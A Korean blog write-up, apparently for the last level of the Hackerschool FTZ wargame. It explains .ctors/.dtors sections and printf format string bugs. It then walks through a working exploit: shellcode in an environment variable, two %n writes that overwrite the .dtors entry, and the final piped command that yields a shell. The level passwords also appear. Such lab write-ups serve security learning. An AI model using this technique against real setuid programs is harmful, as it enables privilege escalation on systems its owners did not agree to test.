일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |
- HackCTF
- NewsClipping
- PWN
- SQL Injection
- ftz
- x64dbg
- termux
- 뉴스클리핑
- Hackerschool
- buffer over flow
- reversing
- Linux
- Shadow 동아리
- Nop Slide
- 리눅스
- RITSEC CTF 2019
- CodeEngn
- writeup
- requests
- webhacking
- RITSEC
- Next.js
- 리버싱
- Python
- BOF
- 어셈블리어
- 웹해킹
- ctf
- 보안뉴스
- 버퍼오버플로우
- Today
- Total
Jaeseo's Information Security Story
FTZ - level20 - WriteUp | ctors, dtors 영역 | 포맷스트링 공격 본문
FTZ - level20 - WriteUp
level20:we are just regular guys
일단 hint 파일을 봅니다.
[level20@ftz tmp]$ cat ../hint
#include <stdio.h>
main(int argc,char **argv)
{ char bleh[80];
setreuid(3101,3101);
fgets(bleh,79,stdin); //입력값을 bleh에 받지만 최대 79까지만 받아서 BOF가 불가능
printf(bleh); //하지만 printf의 포맷스트링 취약점을 통한 공격이 가능하다.
}
일단 이문제를 풀기전에 알아야 하는 정보가 있습니다.
ctors, dtors 영역
이 위의 두가지 영역의 특징아래와 같습니다.
-
.ctors (constructor) 은 main() 전에 실행
-
.dtors (destructor) 은 main() 종료 후에 실행
#include <stdio.h>
void __attribute__((destructor)) dtors(){
printf("dtors\n");
}
void __attribute__((constructor)) ctors(){
printf("ctor\n");
}
int main(){
printf("main\n");
}
위의 예제를 통해 설명 하겠습니다. 일단 위의 소스를 보면 dtors, ctors, main 각각 3가지 영역에 대해 선언을 하고 각 영역의 이름을 출력 하는 소스를 짯습니다. 원래라면 main만 출력이 하는 것이 정상일 것 이라고 생각 하지만 ctors 영역, dtors 영역의 역할에 따라 ctors -> main -> dtors 각 순서로 실행이 되는 모습을 볼 수 있습니다.
[level20@ftz tmp]$ ./a.out
ctor
main
dtors
포맷스트링 취약점 (Format String Vulnerability)
포맷스트링 취약점이란 printf의 포맷 인자를 이용한 취약점입니다.
아래의 두가지 코드를 예로 들어보겠습니다.
#include <stdio.h>
int main(){
char str[10] = "printf_s!%x";
printf("%s",str);
}
#include <stdio.h>
int main(){
char str[10] = "printf_s!%x";
printf(str);
}
위의 두가지 경우의 코드가 있다고 가정합니다. 일단 첫번째는 printf에 미리 포맷이 String 형태라는 것을 알려주고 변수를 스트링 형태로 받아드립니다. 그러면 결과물은 "printf_s!%x"그대로 출력이 되는 모습을 볼 수 있습니다. 하지만 아래의 코드를 실행하게 되면 printf_s!365라는 이상한 숫자 즉 %x의 역할이 작동하여 포인터 주소를 가져온 모습을 볼 수 있습니다.
포맷 | 인자 타입 | 출력 형태 |
---|---|---|
%d | int | 10진수 |
%u | unsigned int | 10진수 |
%c | char | 문자 |
%s | char [] | 문자열 |
%x | int | 16진수 |
%n | int | 지금까지 출력한 바이트의 수를 인자값으로 넘어온 변수에 저장 |
대략적으로 위와 같이 다양한 포맷형태가 있습니다. 이때 여기서 %n를 이용하여 원하는 데이터를 저장할 수 있습니다. 이때 저장을 원하는 데이터가 0xfffa1234 이런다고 할때 직접 %n를 이용해서 저장 할려면 엄청난 길이의 코드가 작성되기 때문에 %100c 이런 형태를 통해 원하는 글자수를 정해서 입력이 가능합니다. 이점을 이용해서 공격을 합니다!!
FTZ level 20 Exploit
일단 위에서 알아낸 두가지의 정보를 통해 공격을 시도 해봅니다.
일단 dtors의 영역의 주소를 구해봅니다.
[level20@ftz level20]$ objdump -t attackme
attackme: file format elf32-i386
SYMBOL TABLE:
080480f4 l d .interp 00000000
08048108 l d .note.ABI-tag 00000000
08048128 l d .hash 00000000
0804815c l d .dynsym 00000000
080481dc l d .dynstr 00000000
0804823e l d .gnu.version 00000000
08048250 l d .gnu.version_r 00000000
08048270 l d .rel.dyn 00000000
08048280 l d .rel.plt 00000000
080482a0 l d .init 00000000
080482b8 l d .plt 00000000
08048308 l d .text 00000000
08048490 l d .fini 00000000
080484ac l d .rodata 00000000
080484b4 l d .eh_frame 00000000
080494b8 l d .data 00000000
080494c4 l d .dynamic 00000000
0804958c l d .ctors 00000000
08049594 l d .dtors 00000000 //dtors의 주소는 0x08049594
0804959c l d .jcr 00000000
이제 여기서 0x08049594 이주소에서 4byte를 더한 주소가 dtors의 return 주소가 됩니다. 이제 shellcode의 주소를 알아봅니다. 0x08049598
[level20@ftz level20]$ export ATTACK=`python -c 'print "\x90"*10+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
[level20@ftz level20]$ /tmp/get.out ATTACK
0xbfffff53
그리고 이때 나온 주소를 기준으로 10진수로 변환 해봅니다. 3,221,225,299라는 값이 나오는데 이때에는 32bit os의 int 범위값이 넘어가기 때문에 앞뒤 2byte씩 잘라서 입력을 시켜줍니다.
0xbfff,0xff53
스택 구조 |
---|
%n |
%49151c == 0xbfff |
%n |
%65363c == 0xff53 |
\x9a\x95\x04\x08 |
AAAA |
\x98\x95\x04\x08 |
AAAA |
이때 여기서 보면 bleh의 영역까지 %x를 3번 해야지 접근이 가능한것을 볼 수 있습니다. 이 점을 고려 해서 다시 짜봅니다.
[level20@ftz level20]$ ./attackme
aaaa %8x %8x %8x %8x
aaaa 4f 4212ecc0 4207a750 61616161
스택 구조 |
---|
%n |
%49151c == 0xbfff |
%n |
%65363c == 0xff53 |
%8x%8x%8x 4f 4212ecc0 4207a750 == 8 + 8 + 8 |
\x9a\x95\x04\x08 4 |
AAAA 4 |
\x98\x95\x04\x08 4 |
AAAA 4 |
이때 문제점이 한번더 발생 하는데 %n 이전까지의 출력바이트수를 저장 시키기 때문에 주소를 계산해서 저장 시켜야 합니다. 그래서 이때 이전에 입력된 40byte만큼 줄여서 저장 시키도록 바꾸도록 합니다. 그리고 뒤의 49151도 똑같이 앞에 byte 만큼 제외 합니다. 이때 음수로 넘어가게 되는데 0xbfff에 자리수 하나를 업해서 0x1bfff에서 뺀 값을 저장 시킵니다.
스택 구조 |
---|
%n |
%49324c |
%n |
%65323c |
%8x%8x%8x |
\x9a\x95\x04\x08 |
AAAA |
\x98\x95\x04\x08 |
AAAA |
이제 이렇게 구해진 공격 스택 구조를 통해서 전달하여 공격을 해봅니다.!
공격 코드!!
[level20@ftz level20]$ (python -c 'print "AAAA"+"\x98\x95\x04\x08"+"AAAA"+"\x9a\x95\x04\x08"+"%8x%8x%8x"+"%65323c"+"%n"+"%49324c"+"%n"';cat) | ./attackme
그러면 %65323c 같이 일부러 넣은 null문자열이 출력 되는 모습과 함께 ls등의 명령어를 실행하면 정상적으로 쉘을 얻은 모습을 볼 수 있습니다.
clear:i will come in a minute
드디어 ftz 문제를 다 풀었네요.. 마지막 문제 여서 그런지 더 알아야 하는게 많아서 힘들기도 했지만 엄청 재미있었습니다. 이제 LOB를 풀어야 겠네요!!!
'Write UP > FTZ' 카테고리의 다른 글
FTZ - level19 - WriteUp (0) | 2019.11.27 |
---|---|
FTZ - level18 - WriteUp (0) | 2019.11.26 |
FTZ - level17 - WriteUp (0) | 2019.11.26 |
FTZ - level16 - WriteUp (0) | 2019.11.26 |
FTZ - level15 - WriteUp (0) | 2019.11.26 |